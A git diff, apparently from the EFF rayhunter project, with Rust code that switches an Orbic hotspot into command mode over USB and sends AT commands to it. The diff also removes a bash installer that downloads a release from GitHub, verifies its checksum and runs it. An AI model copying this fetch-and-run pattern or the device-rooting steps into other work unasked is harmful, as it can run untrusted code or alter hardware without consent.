|
||||
|
||||
if args.len() != 2 || args[1] == "-h" || args[1] == "--help" {
|
||||
println!("usage: {0} [<command> | --root]", args[0]);
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
if args[1] == "--root" {
|
||||
enable_command_mode()
|
||||
} else {
|
||||
match open_orbic()? {
|
||||
Some(interface) => send_command(interface, &args[1]).await,
|
||||
None => bail!(ORBIC_NOT_FOUND),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Sends an AT command to the usb device over the serial port
|
||||
///
|
||||
/// First establish a USB handle and context by calling `open_orbic(<T>)
|
||||
async fn send_command(interface: Interface, command: &str) -> Result<()> {
|
||||
let mut data = String::new();
|
||||
data.push_str("\r\n");
|
||||
data.push_str(command);
|
||||
data.push_str("\r\n");
|
||||
|
||||
let timeout = Duration::from_secs(1);
|
||||
|
||||
let enable_serial_port = Control {
|
||||
control_type: ControlType::Class,
|
||||
recipient: Recipient::Interface,
|
||||
request: 0x22,
|
||||
value: 3,
|
||||
index: 1,
|
||||
};
|
||||
|
||||
// Set up the serial port appropriately
|
||||
interface
|
||||
.control_out_blocking(enable_serial_port, &[], timeout)
|
||||
.context("Failed to send control request")?;
|
||||
|
||||
// Send the command
|
||||
tokio::time::timeout(timeout, interface.bulk_out(0x2, data.as_bytes().to_vec()))
|
||||
.await
|
||||
.context("Timed out writing command")?
|
||||
.into_result()
|
||||
.context("Failed to write command")?;
|
||||
|
||||
// Consume the echoed command
|
||||
tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
|
||||
.await
|
||||
.context("Timed out reading submitted command")?
|
||||
.into_result()
|
||||
.context("Failed to read submitted command")?;
|
||||
|
||||
// Read the actual response
|
||||
let response = tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
|
||||
.await
|
||||
.context("Timed out reading response")?
|
||||
.into_result()
|
||||
.context("Failed to read response")?;
|
||||
|
||||
// For some reason, on macOS the response buffer gets filled with garbage data that's
|
||||
// rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop
|
||||
// the garbage with `from_utf8_lossy` and look for our expected success string.
|
||||
let responsestr = String::from_utf8_lossy(&response);
|
||||
if !responsestr.contains("\r\nOK\r\n") {
|
||||
println!("Received unexpected response: {0}", responsestr);
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send a command to switch the device into generic mode, exposing serial
|
||||
///
|
||||
/// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition.
|
||||
fn enable_command_mode() -> Result<()> {
|
||||
if open_orbic()?.is_some() {
|
||||
println!("Device already in command mode. Doing nothing...");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let timeout = Duration::from_secs(1);
|
||||
|
||||
if let Some(device) = open_device(0x05c6, 0xf626)? {
|
||||
let enable_command_mode = Control {
|
||||
control_type: ControlType::Vendor,
|
||||
recipient: Recipient::Device,
|
||||
request: 0xa0,
|
||||
value: 0,
|
||||
index: 0,
|
||||
};
|
||||
let interface = device
|
||||
.detach_and_claim_interface(1)
|
||||
.context("detach_and_claim_interface(1) failed")?;
|
||||
if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) {
|
||||
// If the device reboots while the command is still executing we
|
||||
// may get a pipe error here
|
||||
if e == nusb::transfer::TransferError::Stall {
|
||||
return Ok(());
|
||||
}
|
||||
bail!("Failed to send device switch control request: {0}", e)
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
bail!(ORBIC_NOT_FOUND);
|
||||
}
|
||||
|
||||
/// Get an Interface for the orbic device
|
||||
fn open_orbic() -> Result<Option<Interface>> {
|
||||
// Device after initial mode switch
|
||||
if let Some(device) = open_device(0x05c6, 0xf601)? {
|
||||
let interface = device
|
||||
.detach_and_claim_interface(1) // will reattach drivers on release
|
||||
.context("detach_and_claim_interface(1) failed")?;
|
||||
return Ok(Some(interface));
|
||||
}
|
||||
|
||||
// Device with rndis enabled as well
|
||||
if let Some(device) = open_device(0x05c6, 0xf622)? {
|
||||
let interface = device
|
||||
.detach_and_claim_interface(1) // will reattach drivers on release
|
||||
.context("detach_and_claim_interface(1) failed")?;
|
||||
return Ok(Some(interface));
|
||||
}
|
||||
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// General function to open a USB device
|
||||
fn open_device(vid: u16, pid: u16) -> Result<Option<Device>> {
|
||||
let devices = match nusb::list_devices() {
|
||||
Ok(d) => d,
|
||||
Err(_) => return Ok(None),
|
||||
};
|
||||
|
||||
for device in devices {
|
||||
if device.vendor_id() == vid && device.product_id() == pid {
|
||||
match device.open() {
|
||||
Ok(d) => return Ok(Some(d)),
|
||||
Err(e) => bail!("device found but failed to open: {}", e),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(None)
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "telcom-parser"
|
||||
version = "0.2.8"
|
||||
version = "0.3.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
#!/bin/env bash
|
||||
|
||||
set -e
|
||||
|
||||
mkdir build
|
||||
cd build
|
||||
curl -LOs "https://github.com/EFForg/rayhunter/releases/latest/download/release.tar"
|
||||
curl -LOs "https://github.com/EFForg/rayhunter/releases/latest/download/release.tar.sha256"
|
||||
if ! sha256sum -c --quiet release.tar.sha256; then
|
||||
echo "Download corrupted! (╯°□°)╯︵ ┻━┻"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
tar -xf release.tar
|
||||
./install.sh
|
||||
|
||||
cd ..
|
||||
rm -rf build
|
||||
Reference in New Issue
Block a user